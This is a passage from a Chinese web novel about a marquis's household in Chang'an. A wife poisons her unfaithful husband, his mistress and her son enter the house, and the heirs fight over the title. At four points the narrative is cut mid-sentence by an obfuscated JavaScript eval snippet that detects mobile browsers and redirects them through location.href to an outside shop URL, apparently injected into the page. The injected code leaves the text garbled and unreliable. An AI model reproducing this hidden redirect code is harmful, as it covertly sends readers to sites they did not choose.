楚珩并不回声,只沉默的穿过院墙,回到了他的住处。 跟镇南王久了的人都知晓,镇南王少言寡语,从不与人玩笑,也甚少与人言谈,在他这里,只有重复严苛的军规。 他每日在外除了打仗就是练兵,唯一的空闲时候便是坐在书房中看信。 长安没有那么多信往来,镇南王便看看以前的信,秦禅月在长安城的日子繁花似锦一日接一日的过,但镇南王在南疆的日子却仿佛被固锁在了很多年前,从未变过。 平日里副将是不敢来叨扰镇南王的,但今日,他却多了几分胆子,笑盈盈的与镇南王道:“长安今日来了两封信呢,都是从忠义侯府来的,定是大姑娘惦念您呢。” 楚珩的脚步几不可察的顿了顿,随后又如往常一样,穿过高大的院门,经过一排排冷冽的私兵,行进一间简朴的房间中。 房中地表以木板搭建,其内有一书书,一床榻,榻间整整齐齐的摆放一套被褥,除此以外,空无一物。 他走到案前站定时,书案前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105376|148867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经摆上了两封信。 高大挺拔的将军站在案前许久,低头瞧着那两封信。 信分两封,但他只需要垂眸一扫,便能看出来那一封是秦禅月写的,那一封是柳烟黛写的。 柳烟黛出身苦寒,不曾读过什么书,字也写的磕磕绊绊,但秦禅月不同,她的字是锋芒毕露的瘦金体,和她这个人一样。 楚珩瞧见了她的字,便好像看见了她的人,他对她的记忆还停留在十几岁的时候,娇娇俏俏的姑娘,见了他便躲,倚门回首,偷把他来瞧。 过去的记忆柔软了他的眉眼,那双锋利的眸中似是多了几分泠泠的,蜜水一样流淌的东西,他缓缓抬起手,慎而又慎的将她的信封拆开。 她许久不给他写信了,妹妹大了,早就不听哥哥的话,也不愿意跟哥哥说话,似是怕惹远在长安的秦禅月讨厌,所以他的动作又轻了几分,慢慢的拆开了手中的信封。 信上的东西却并不温情,秦禅月写的每一个字里,都夹杂着血泪和恨意。 一瞧见信封上的字,楚珩眼底里的那些温润的柔光转瞬间便消散,他抿着唇,一字一字的将这封信读过,一张面已阴沉的可怕。 他在南疆的亲信中,被混了二皇子的人。 而这一切,居然是秦禅月先发现的。 这样可怖的消息竟然能被秦禅月得知,那便表明,禅月,他的妹妹,现在正处在一个十分危险的地步。 可是秦禅月并未向他求助,只告知他一定要处理那些细作,但她处于危险中,他又怎么能安心留在南疆呢? 他那历经风霜的心突然被开了一道口,一贯沉稳的人也有两分不安。 楚珩细细将信上的每一个字读过后,缓缓将信封收起,定了定神,然后拿起了柳烟黛的信。 柳烟黛,是他已故亲兵留下的孩子,亲兵死去后,他将十四岁的柳烟黛接回到府上养了两年,这孩子虽然有些笨,但是十分忠心,听话,绝不会做当人一面背人一面的恶事,所以,他将这孩子送去给秦禅月做了儿媳。 有这样一个听话的儿媳,秦禅月定然能安生做个清闲婆婆。 但同时,柳烟黛也是个忠心于镇南王的,府上发生的任何事,柳烟黛都不会隐瞒他。 秦禅月不肯与他说明难处,是不想让他操心,但柳烟黛一定不会隐瞒,侯府发生了什么,他只需要翻开信封一看,就能知晓了。 定然是发生了极严重的事。 楚珩拿起信封时,竟隐隐觉得心中发沉。 他的妹妹—— 手指撕开信封,他看见第一行字便是:“叔父,不好了,出事了!” 楚珩心中一沉,迅速向下看去,便瞧见柳烟黛狗爬一样的字写道:“公爹在外养了妾室,婆母给公爹下毒药,公爹要被毒死了!” 楚珩那颗沉甸甸的心刹那间又不沉了。 他将这一封信反复查看,见没有什么暗语夹杂后,后缓缓收起信封,那冷而沉的眼眸里似乎越过了几分愉悦。 人生三大喜,升官发财死丈夫。 好事。 12.接小妾入门 而与此同时,酉时末尾,远在千里的长安城忠义侯府中,生了一件大事。 那位被自己儿子气晕过去的忠义侯在用过一碗汤药之后,竟然突然开始抽搐,险些直接抽死过去! 幸而忠义侯命大,竟是硬生生挺过来了,但这人也倒在榻间动弹不得了,一旁的大夫更是叹息着道:“忠义侯怕是没有几个月了。” 竟是没有几个月了! 几个月呀! 秦禅月站在厢房间,似是悲怆极了,她拿着手帕掩着面,像是说不出来话一般。 旁边的丫鬟嬷嬷们瞧着,也跟着叹息。 瞧瞧,这把他们夫人伤心成什么样了! 一旁的贴心嬷嬷便低声安抚道:“夫人莫难过,这生老病死都是常事,命数到了,也是没法子。” “我的命怎么这么苦呢。”秦禅月坐在床榻旁边上,含着眼泪道:“我那两个儿子便不提了,夫君还是这般模样,可叫我怎么活呢?” 夫人一贯强势,现在哭成这般,叫一群嬷嬷们都跟着手足无措,而这时候,床榻上的忠义侯终于缓缓醒来。 他一醒来,便看见了秦禅月含着泪的脸。 那时暮色已至,天边落日熔金,绯红的彩霞自窗外流淌进了一层金色的流光,正落到她的面庞上,那么美。 瞧见秦禅月哭成这样,忠义侯想伸手去将她面上的泪水擦掉,但是他竟然抬不起手,甚至,他都感受不到他的部分身体的存在。 他的腿好像没有了,他的手也一直在打抖,要很费力才能稍微挪起来一点,他说话的时候舌头也不听话,只能艰难地吐出几个音调来。 他也能感受到这具身体的衰败,像是被掏空了的树干,人还好好地躺在这里,但是内里一片虚无,要不了多久,他就要干枯掉,变成一具尸体了。 而这,都是那两个儿子给他气的! 他这一生重洁爱白,却不成想,老了老了,两个儿子给他添了这么大的堵,倒是可怜了他的妻—— 眼瞧着秦禅月还在哭,他便抬起手,摸了摸秦禅月的脸。 只这一个动作,他便觉得浑身发抖,肌肉如同不受控一样抖啊抖,抖啊抖。 他是真要死了! 人之将死,难免要说一些一生之中最在乎的事,他都要死了,原先那些压抑的,愧对的,遗憾的东西,总要说一说,来叫人满足一下吧? 所以,周子恒艰难地握住了秦禅月的手。 秦禅月也紧紧握着他的手,那双狐眼之中满是泪光闪烁,她那样爱他,那样舍不得他,他这个时候提出来什么要求,她都会答应的吧? 那躺在榻上的夫君便颤了颤唇瓣,说出了他自己的遗憾。 “我...我有一外室,一直养在外面,不曾告知与你,我与她有一个儿子,夫人...我已病的要死了,还请夫人莫要怪罪他们,给他们一条活路,引他们回府吧。” 周子恒是那样疼爱方青青和方青青的儿子,那可是他心爱的女人啊!他要死了,如何能将他的血脉流于外面呢?他定然是要想办法收回来的。 若是他还康健,那他有十几年的时间来给方青青和他养在外面的儿子铺路,但是他已经病重了,现下,只能选择与秦禅月坦白。 当时这厢房之中还留着几个旁的丫鬟,彼此听见这话的时候,都是一脸震惊。 侯爷与夫人恩爱十几年,外人都以为侯爷与夫人亲密无间,没想到,侯爷竟然在外养了外室!竟然还有了孩儿! 这如何对得起夫人呢? 夫人得多伤心啊! 果不其然,在听到周子恒竟然要将那外室方青青与方青青的孩子一起接过来的时候,秦禅月只觉一股恼火直顶额头。 什么狗东西! 上辈子她倒台了,周子恒将那对母子接回来踩在她的头上,这辈子她还没倒呢,周子恒竟然还惦记着将那对母子接回来,他对这对母子可真是情深义重啊! 她还以为这辈子弄死这个男人,就能绝了那对母子回府的路呢,却不成想,周子恒却一定要将人弄回来。 “侯爷竟然在外另有外室!”那艳丽的夫人乍一听闻这话,似是被气急了,流着泪瞧着自己的夫君。 周子恒看的心碎极了,却也无可奈何,这两个女人都对他情深义重,他没办法放弃其中任何一个啊! 秦禅月身份地位都有,日后定然也受不了苦去,可是他的外室还在外面的宅院艰难活着呢,若是他放了手,方青青是活不下去的。 他得给方青青铺出来一条路。 但他见秦禅月一脸泪水的模样,心里也怕方青青日后回来不好过,他一狠心,便道:“禅月若是当真厌恶她,我便将她送回周府去,让周府的人赡养他们,只当给他们过个明路,可好?” 到时候,全长安的人都会知道,周子恒在外面养了外室,临死之前想带回来,但是秦禅月善妒,逼着不让进门,硬是将人丢到了周子恒的父母家去养着,以后,这对母子但凡有点什么风吹草动,就都得拉扯到秦禅月的头上来。 他是要用秦禅月的名声来压着秦禅月来答应,毕竟秦禅月是那么要脸面的人,她能受得了别人戳她的脊梁骨骂她[丈夫死了都不肯让血脉进门]吗? 而且,提及到了周府,隐隐还有一些拿周府压秦禅月的意思,毕竟周府与秦府都是太子党,两边暗地里不少联系,周府若要给秦府麻烦,那大兄在边疆会稍微难做一些。 他这是知道自己要死了,什么脸都不要了,干脆以退为进,软的硬的都用上了。 秦禅月听了这话,心底里一阵发冷。 周子恒这是非要给这两个人抬到明面上来了! 好啊。 她咬着牙想,既然周子恒非要将这两人带进来,那她就广开门庭,让这两人光明正大的进一进这侯府,让他们在侯府的水里淌一淌,看他们两个能不能受得了! 于是,秦禅月面上浮起来几丝泪光与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120927|148867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温情来,她含着泪低下头,抱住了面前的周子恒,用一种哽咽的语调说道:“你我之间相爱多年,虽说我会因为吃味而怨恨你,但既然那外室有了你的子嗣,我便绝不会亏待他们,你放心,我定然会将他们接回府门来,好好对待他们的。” 得了秦禅月这么一句话,周子恒终于放心了。 他心底里甚至隐秘的掠过了几分得意。 早些年,秦禅月要嫁给他之前,可是三令五申,说过不允他纳妾的,但现在呢?过了十几年,她那点坚持不还是被打碎了?女儿家的一些胡话,最终都是要妥协的。 他握紧了秦禅月的手,还想说什么,但是却因身子太虚弱,转瞬间便昏睡了过去。 秦禅月脸上的笑容渐渐消失,最终冷冷的看着他,慢慢的抽回了手。 当夜,秦禅月便派出了一顶轿子,一路去了周子恒赁下的外院之内,命人将那位外室和那位公子迎进府门来。 —— 那一日,对于方青青来说,简直如同梦一样。 她听说了周子恒生病的事,但是因为她的身份,她这辈子都不可能去见周子恒,只能暗自垂泪,在知道周子恒要死的时候,她甚至几次想带着孩子去上侯府砸府门,但又硬生生忍下了。 她怕呀! 周子恒死了,他们母子可怎么办呢?他们可怎么活下去呀? 她慌得不行,便时常派人出去打探消息,当她急的站在巷口前等着的时候,还总是能听见左邻右舍对她的讥诮。 “一个外室,还以为自己能翻天呢。” “等她男人死了,她也就完啦。” “啧啧,连门都进不去!” 她听了这些话,心里面一片酸涩难过。 她也是好人家的女儿啊!她也是读过书、学过规矩的姑娘! 当初,分明是她先与周子恒相知相恋的!若非是那秦禅月仗着家业非要嫁给周子恒,她怎么会沦落成外室? 她难过的说不出话,只能含着满腹委屈重回了院中。 这样的日子一过就是许多日,直到这一日,侯府的轿子来了。 抬轿子的人在门口笑着恭喜她:“方姨娘呦,侯爷病重时候都惦记着您呢,秦夫人发话了,允您带孩子进门!这可是天大的好事,恭喜您了!快收拾收拾,进侯府吧!” 方青青兴奋地不能抑制,她高高的昂起头颅,带着她的儿子上了回侯府的轿子,经过那些庶民的时候,她得意的冷哼了一声。 她日后可是侯爷的姨娘了,与这群人说不到一块儿去。 进上侯府之前,她拉着自己的儿子叮嘱:“儿,一定要给娘争气!要好好听你爹的话,哄你爹开心,你爹会疼你的。” 他们到了侯府,她要比秦禅月过的更受宠!她的儿子也要比秦禅月的儿子更受宠! 她的儿子也跟着兴奋的、重重的点了点头。 月色之下,这顶轿子沿着街巷,光明正大的进了侯府里。 13.选择将眼睛闭了起来 这一顶小轿子进了忠义侯府时,忠义侯府里的主子也都听到了风声。 书海院里的柳烟黛听了这话,心底里一阵肝颤。 若是以前,她可能会觉得婆母现在很难过,一定受了委屈,她应该去想办法给婆母出头,但现在...她觉得婆母可能又在碾药,或者在给谁挖坑。 婆母连自己的夫君都敢往死里弄,更何况是这一对外室母子呢? 她琢磨了许久之后,最终将自己的眼睛闭了起来。 婆母做坏事...她不看就是了!只要她不看,那婆母就没做坏事! —— 而客厢房里住着的白玉凝知道了这件事,也并未放在心上。 她现在留在侯府的重要事情都已经做完了,二皇子没有给她新的指令,她就不必去做什么,只安静待着就好,若一定要说的话—— 她今夜想去祠堂看一看周驰野。 想起今日周驰野为她出头、维护她的样子,她的心就久违的跟着发软,原先死掉了、干涸的心底仿佛又被春雨滋润,她又活过来了。 她要去看周驰野。 —— 等这消息进祠堂中的时候,周驰野正在被打二十杖。 那些小厮之前打周渊渟不用力,现在打他也不用力,他还是习武之人,这点伤对他来说就是毛毛雨,他根本不放在心上。 等到打完之后,周驰野才问一句:“母亲同意了?” 一旁的小厮赶忙道:“夫人体恤侯爷,便同意了。” 周驰野哼了一声,没说话。 他也并不在乎这一对外室母子,他现在也不想管什么父兄,他只满心满眼的在想白玉凝。 正在他想白玉凝的时候,祠堂的窗户突然动了一下,周驰野惊讶的抬眸看过去,就看到窗外出现了一张漂亮的脸蛋。 隔着窗柩薄纱,她对着周驰野遥遥一笑。 美人趁夜来,冷浸溶溶月。 周驰野恍惚间想起了不久之前,那时候大兄躺在这里,现在他躺在这里,而她,也从大兄的身边,来到了他的身边。 他的心被填满了,再也看不到外面的事了。 —— 而在秋风堂躺着的周渊渟知道有外室带儿子进门之后,短暂的惊讶过后,就是烦躁。 来了个姨娘和庶子,但关他什么事?这两个人也不可能抢了他的东西去,他只替自己委屈。 父亲病的要死了,母亲才会特别开恩...他也同样伤的要死了,母亲却不曾替他着想! 他被周驰野踹了一脚,骨头都断了两根,走路也费力,母亲却只让周驰野去跪祠堂,不曾给他出过头!更不曾教训白玉凝这个贱女人! 这个贱女人在侯府两个公子之间游走,母亲怎么还能留她在府内? 只这么一想,他就觉得心里更恨,根本懒得去管什么妾室,只一日复一日的生着气。 —— 忠义侯府里面没什么动静,但是忠义侯的妾室进门的这个消息在长安中不胫而走后,却在外面惹来了不少讨论。 “听说了没?忠义侯府进了个小妾!” “听说了,说是那忠义侯榻前要死了,与侯夫人坦白说外面养了外室,侯夫人怜忠义侯死前遗愿,便将这对母子接进了府门来了。” “忠义侯当真是有本事,竟然瞒了侯夫人十来年呢。” 也有人单单将秦禅月拎出来嘲讽:“秦禅月仗着她父兄功名,嚣张了一辈子,临了临了,竟还多了个姨娘姐妹来,也不知道多心酸呢。” 外人众说纷纭,讥诮的,看热闹的,全都堆积在一起,但秦禅月一个都没有管。 她打起精神来,亲手安排了这一对进了府门来的母子。 她当日便在客厢房附近收拾出了一个院子,这院名叫落叶院,以往是客人上门久居住的地方,现在成了这位方姨娘的院子。 方姨娘的儿子姓周,名问山,字孝忠,与周渊渟兄弟同岁,周问山则被安置在落叶院附近的红枫院,与自己的姨娘颇近。 入了侯府后,这两人来给秦禅月行茶见礼,这儿子当场便跪下改口管秦禅月叫“母亲”。 秦禅月半点没有难为他们,笑盈盈的赏了他们不少好东西后,还亲亲热热的拉着方姨娘的手说了会儿话,最后,将他们母子二人送到了秋风堂去,叫他们两人去看病重的周子恒。 “侯爷自病后,一直惦记着你们呢。”秦禅月说到此处时,眉眼间带了几分倦怠,她道:“人之将死,过去那些事我就不计较了,日后,大家都是一个门户的亲人,你们只管去看侯爷便是。” 这对母子本以为进府门之后要受到秦禅月的打压,却不想这秦夫人竟然这般通情达理,都有些恍惚了,被丫鬟们簇拥到周子恒的病床前、见到病重时候的周子恒的时候,这对母子才回过神来,扑在床榻前一顿哭嚎。 病榻上的周子恒临死之前,唯一放不下的就是这对母子,一瞧见他们母子扑过来,跪在榻前哭,他的双眼也跟着湿润了。 他这辈子唯一对不起的人,就是他的青青。 早些年,他与方青青相恋,本来,青青该是他的正妻,但是他那时候年轻气盛,不愿意放下身份,总想争一争侯爷的位置。 那时候他不过是个侯府次子,长兄占了一个“长”,且又十分有贤名,科考上也比他更强,他起不了头,自然也没有袭爵的资格,为了袭爵,他想方设法走了各个门路,最终,他想了一个办法。 他要娶秦禅月。 那时候的秦禅月刚刚失了满门亲人,孤零零一个人被太后领到膝下养着,秦府的荣光都挂在她的身上,她选了谁,谁就能分润她的光芒,有了秦禅月的加持,他的兄长不可能竞争的过他。 所以他选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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方青青也有她的野心,她在府中见过了这样的繁华,想要的也越来越多。 这几日间,她常听外头那些丫鬟提起她与她儿子。 “等侯爷走了,这对母子肯定得被撵出去。” “那可不一定,侯爷那么疼他们,肯定给他们留后路。” “万一让那外室子袭爵呢?” “怎么可能!那可是天大的富贵!” 方青青没记住旁的,只记住了两个字,袭爵。 她见周子恒日益虚弱,便一日又一日的在周子恒面前吹耳旁风,想让周子恒给她的儿子和她一些傍身的东西,周子恒的脑子也跟着日渐混沌,似乎条理都不大清晰了,而就在这个时候,方青青与他道:“老爷要去了,我们儿子却还没个依靠,您得给我们儿子留个位置啊!” 周子恒混混沌沌的去摸她的脸,问她:“什么位置?” 方青青捧着他的手,轻柔着嗓音,道:“让我们儿子袭爵吧,这样,我们儿子再也不会被人欺负了。” 14.袭爵 袭爵—— 多么熟悉的两个字。 周子恒上半辈子就为了这两个字奔波了一辈子,伪装了一辈子,临死的时候,才露出来真实的本性来,他一听到这两个字,想到的都是他这坎坷的一生。 他无时无刻不在骗人,每一息都提心吊胆怕秦禅月发现,现在,他要死了,终于能做一回自己了。 而跪在榻前的方青青还在无声地流着泪,她低声说:“您以前总说,您兄长欺负您,叫您过得不好,你是次子都过的如此不好,日后,我们儿子又当如何呢?您走了之后,秦禅月又要如何对我呢?您总得给我们点东西撑腰啊。” 对,他得给他的儿子撑腰。 看着方青青这含泪的脸,周子恒便想起了这些年来方青青吃的委屈,又想起来他这些年来为了哄秦禅月高兴,做了不知道多少伤方青青的心的事。 他应该补偿方青青,补偿他们的儿子,至于秦禅月...秦禅月享了一辈子的福气,她还是郡主,她一辈子都没吃过什么苦,她什么都有,她的儿子也会有秦家,有镇南王去照看,为什么还要霸占他的爵位呢? 周子恒恍恍惚惚,呢喃着说了一句:“对...好东西,该留给我们的儿子。” 他这一辈子为了爵位浑浑噩噩,做了不少不愿意的事情,现在他要死了,他不能让他的儿子也吃这个苦。 他要给他的儿子好东西。 “去——去将秦夫人请过来。”周子恒呢喃着说道。 方青青忙命人去将秦禅月请来。 秦禅月到的时候,周子恒命令所有人出去,自己艰难地坐起身来,握着秦禅月的手,与秦禅月说一些话来。 他看起来是那样糊涂,人病的都消瘦了不少,坐在床榻上,好像只剩下一把骨头,不知道什么时候,那口气儿就散了。 但是当他握住秦禅月的手的时候,那双浑浊的眼眸中便流淌出了真挚的眼泪。 “我现在还记得那时候第一次见你,你站在亭中,穿着一身艳艳的红石榴裙,可羡瑶池碧桃树,碧桃红颊一千年,我便想,这样的女人,如果嫁给我多好。” 夫妻追忆初见时,那样的话,谁听了都觉得心头发软。 他又说:“我对不住你,你嫁给了我,吃了不少委屈,现在我要死了,还有一件事要求你。” 人都要死了,又加上一个“求”字,谁能不答应呢? 秦禅月的面上浮起了几分泪意,她握着他的手,道:“你只管说来,我做得到,都会做。” “我们的儿子——这三个儿子里,前两个都太让我失望了,这等心性,不配做我们的儿子,唯有刚回来的周问山还是个好性子,他虽然不是你所出,但是定然将你当成亲母来伺候,我想,将我的爵位传给他,日后,由他来替我照顾你,可好?” 秦禅月听见这话的时候,抬起眼眸来,细细看周子恒的脸。 他还是那张俊美的脸,纵然是上了岁数,依旧不消减他的儒雅。 当他说出这些话的时候,秦禅月想,他真是被这个突如其来的病逼得没办法了,都来不及做更圆满的措施了。 如果是没病的时候的周子恒,如果想让周问山继承自己的爵位,他应该先想办法将那两个儿子打压出去,在给周问山铺垫出一些名气,官位,最后再想办法把秦禅月压下去,但现在,他什么都来不及做,只能拉着她的手,妄想她能低头。 谁会低头呢?谁会将自己的钱权交出去给别人呢? 反正如果是以前的秦禅月,她不可能接受。 但现在的秦禅月听了这句话,第一句冒出来的话不是反驳,而是迟疑的问:“我与问山并不熟悉,他日后当真会孝敬我么?” “这是自然!”周子恒的面上浮起了几分潮红,他转而去外面唤:“叫周问山进来!” 不过片刻,周问山便低着头从厢房外行了进来。 他也不过是个少年模样,被方青青教了一些上不了台面的手段,并将此奉为瑰宝,他一进门来,便跪在地上给秦禅月磕头,口口声声说:“儿子以后一定好好侍奉嫡母。” 秦禅月瞧着周问山与周子恒相似的眉眼,随后缓缓点头,说道:“这孩子——我看也是个孝顺的,既然夫君喜欢,那便都随着夫君吧。” 竟然赢了! 周子恒没想到一切都这么顺利,他抓着自己妻子的手,哆哆嗦嗦的说:“你真是个好妻子,日后,日后问山一定会孝敬你。” 秦禅月看着他这病重、佝偻的模样,心底里突然有点舍不得让他死了。 她真该让他好好活着,看遍这对母子的下场。 —— 周子恒想要将自己的爵位传给那外室之子周问山的事情,转瞬间便流传到了整个侯府之中。 柳烟黛闭着眼睛呢,什么都看不见,白玉凝和周驰野忙着夜间私会,两人都不放在心上——周驰野本来就是次子,没指望当侯爷,他甚至都不是世子,反正世子是不是他都无所谓,以前他跟周渊渟关系好的时候,如果世子爷不是他大哥的,他还能为了周渊渟去出头,但是现在...世子是谁,他都不在乎。 唯一一个急了的是周渊渟,他连背叛了他的弟弟和白玉凝都暂且顾不上了,满脑子都是爵位。 这是他的爵位啊! 周渊渟当时还在秋风堂里养伤,正好跟他父亲的厢房相邻,不过隔了一道假山景罢了,听说父亲要将世子之位传给那个外室子,顿时惊坐而起,匆忙前去寻父亲。 他才是侯府的嫡长子,他才是拥有秦府血脉和周府血脉的孩子,那外室子不过是个贱奴之子,凭什么得爵位啊! 那时候正是午后,周子恒正在厢房中养伤,方青青用尽浑身解数伺候他,周渊渟到了门口求见父亲,里面的周子恒并不肯相见。 “叫他回去。”周子恒摆了摆手,道。 周渊渟不甘不愿,他忍着胸口的痛楚,低头跪在地上,隔着一道门去质问他的父亲:“父亲,我听闻您要让一个外室子袭爵,这不和礼法!” 礼法? 周子恒暴怒,一个做错事的儿子,竟然还敢来质问他这个父亲了!若非是周渊渟做错事,将他活生生气到卧床不起,他又怎么会不传爵位给周渊渟呢?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144619|148867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这爵位是我的,我可以给你,但你不能要!”隔着一道门,周子恒砸了个茶杯过去,低吼道:“把这逆子给我撵出去!” 周渊渟在自己亲爹这里碰了壁,又不甘心,便转而去了秦禅月那头求见。 他的亲爹被方姨娘和周问山迷惑了,但他的亲娘怎么会答应呢?她不肯为自己儿子筹谋,为什么要去将侯爵的位置给一个外室子? 周渊渟匆忙去见他的母亲。 他进门时,便瞧见他的母亲在窗旁独自看账本。 窗外阳光明媚,落到母亲的面上,将那张艳丽的面照的熠熠生辉。 “母亲!”一见了母亲,周渊渟顿觉委屈,他像是以前一样,一出了事,便忍不住向母亲求助,他焦躁的说:“父亲要将爵位给那个外室子,您为何不拦着他?您怎么能让一个妾室骑在您的头上,让一个外室子骑在我的头上呢?” 瞧见周渊渟来了,坐在窗边的秦禅月抬起眼眸,静静地看她的儿子。 上辈子,周渊渟跟周问山可是好兄弟呢。 那时候她失了势,被赶到外面去,而她的丈夫也同样将这对母子接过来,周渊渟同样也是为了爵位,所以利索的认了方青青做嫡母,认了周问山做兄弟。 那时候,他们关系可好极了,那像是现在啊。 秦禅月撑着她的下颌,神色淡淡的与周渊渟道:“你自己做了错事,你父现在不喜爱你,母亲也帮不得你,你瞧瞧你,现在像是什么样子?再瞧瞧问山,那孩子现在天天来给我请安,瞧着比你孝顺多了。” 周渊渟大惊:“母亲疯了?!我才是您的儿子!” 秦禅月冷笑一声,上辈子她失势了,他不认她,现在他要失势了,就过来说他是亲儿子了。 亲个屁。 秦禅月淡淡道:“我改不了你父亲的念头,不必来寻我了,爵位的事已定,过几日,你父身子好点,便要替周问山上去请封了,改不了了。” 周渊渟大受打击,浑浑噩噩的从赏月园离开了,回了他的秋风堂。 他当夜在房中想了半夜,认定不能就这般放弃,所以立刻筹谋,打算做点什么事来。 周渊渟的这点小计划并没有瞒得住秦禅月,他前脚刚冒出来一点动静,后脚就有人传到了秦禅月的耳朵里。 秦禅月淡淡的点头应下了。 她早就料到了今日。 上辈子,那方青青回了侯府后,就想让自己儿子封爵,这辈子也是一样的,而她又了解她的儿子,周渊渟当了这么多年的世子爷,怎么会轻易松手? 他定然也是要争的。 而秦禅月则在暗地里推波助澜,让这两个人悄无声息的打起来。 她不需要动手,这府内的各方势力,足够他们自己将自己消磨掉。 以前,秦禅月将他们都当成自己的亲人,掏心掏肺的对他们好,从未曾将这种借刀杀人的手段使在他们身上,现下她真的动起手来,不过两下,便将一群人忽悠的团团转。 野心与贪婪勾成细线,又互相交织成罗网,只等着谁一步踏错,然后跌个尸骨无存。 15.养兄归来 次日,清晨。 侯府三公子周问山起身后便开始整理衣装。 丫鬟挑来藏蓝色的武夫长袍,上配以银簪,腰间挂玉,手臂上要捆上精铁护腕,一切结束后,周问山在比人高的铜镜之中看着自己的脸。 颇为俊俏。 他今日有约要赴——这些时日,自从他回到侯府、恢复身份之后,便交下了一大帮出身富贵的朋友们,他们邀约他今日去打马球。 周问山从来不曾交过这么多朋友,他迫不及待的想要融入到这群贵公子之中去,所以哪怕父亲病重在榻,他依旧要跑出去玩儿。 他从侯府离开的时候,还经过了大兄的住处——哦,大兄,就是周渊渟。 周问山低低的嗤笑了一声。 一个被他打败了的人! 这侯府的爵位,这漫天的富贵,都是他的了!周渊渟抢不过他! 等到他爹死了,他就是这侯府唯一的主人! 他经过赏月园的时候,又想,一个很好骗的蠢女人。 他说什么,那位秦夫人都信,竟然还相信他会给她养老! 等到他即位了—— 只这样一想,周问山便觉得痛快极了,脚步也更轻盈了几分。 他一路昂着头,带着对未来的憧憬,骄傲的走出了侯府,去找他的新朋友们玩儿去了。 但他并不知道他即将面临什么。 这位对长安贵勋阶层一无所知的少年郎一头扎进来,以为自己能轻易的收获很多很多好东西,就像是在侯府一样,那些闪着金光的各种宝贝会如流水一样钻进他的院子里。 这都是应该的,因为方姨娘说了,这都是父亲补偿给他的。 父亲对他好,而这些人都应该看在父亲的颜面上对他好,他可是未来的侯爷呐! 而他刚交下来的那些朋友们笑着带他去打马球,带他去跑马,带他去打猎,他一头扎了进去,玩儿的特别尽兴。 直到一场意外袭来。 他骑马围猎的时候,他的马疯了一样四处乱窜,他从马上跌下来,重重的砸在了地上,浑身的血似乎都在这一刻凝固了,只有痛处在他的身上蔓延。 他看见他刚交下来的朋友们骑在马上远远向他走来,他想要求助,但是却说不出来一句话。 直到那远处的人一点点逼过来,骑在马上,低头看着他。 他们都以为他昏迷了,所以不甚在意的说着话。 “这人死了没有?” “应当是没死,但是看着也差不多了。” “残废了吧?” “肯定残废了,他的腿都折断了。” “这就够了,残废的人不能袭爵,他抢不了渊渟的爵位。” 这一群人便围着他嘻嘻哈哈的笑起来。 “外室子,真以为自己能翻天呢?” “秦夫人是被忠义侯迷了眼了,但渊渟可不是吃素的。” “就是,没有那个命,拿了这东西也接不住。” 躺在地上的周问山想要睁眼,想要怒吼,想要大声的喊出来“我可是侯爷啊”,但是他什么都做不了,只能躺在地上。 这群人懈怠的守着他,直到他自己的贴身小厮跑过来才发现不对,然后匆忙找人,将他运回了侯府去。 他到侯府的时候人都晕过去了,根本不知道这件事给侯府带来多大的震荡。 那时正是午后,一群人哭丧丧的回了侯府来,方青青一听说这件事,顿时惊得连周子恒都顾不上了,匆忙跑到府门去看他,当见到自己儿子满身是血的回来的时候,方青青险些哭晕过去。 周子恒这几日的病好一些了,知道这事之后,强撑着身子站起来去看他这个心爱的儿子。 他的儿子可千万不要出事啊!他和方青青只有这么一个爱子啊! 而侯府的大夫尽力施救之后,勉强保住了周问山的命,没有让他直接死去,但是,周问山却落下了残病。 他的腰被踩断了,断骨难再生,这么好一个年岁,竟然不能站起来了! 方青青看着昏迷的儿子,“哇”的一声哭出声来,恨不得撞柱而死,周子恒拧着眉询问了一些跟去的私兵,个个儿都说是一群公子出去围猎时生的意外。 这个消息转瞬间又飘满了侯府,但大多数人都不在意。 柳烟黛的眼睛闭的不能再闭了,干脆连耳朵也关上,听都不听了——她是看明白了,这侯府里面没有一个和善人,她还是老老实实待着吧。 白玉凝与周驰野正浓情蜜意,两人夜夜在祠堂亲密相处,竟是都越了雷池一步,根本顾不上外面的事,只关起门来做了一对野鸳鸯,若是周渊渟去踹开门看,都能看到鸳鸯肚兜满天飞。 唯一在意这件事、听见这件事高兴的,也只有一个周渊渟。 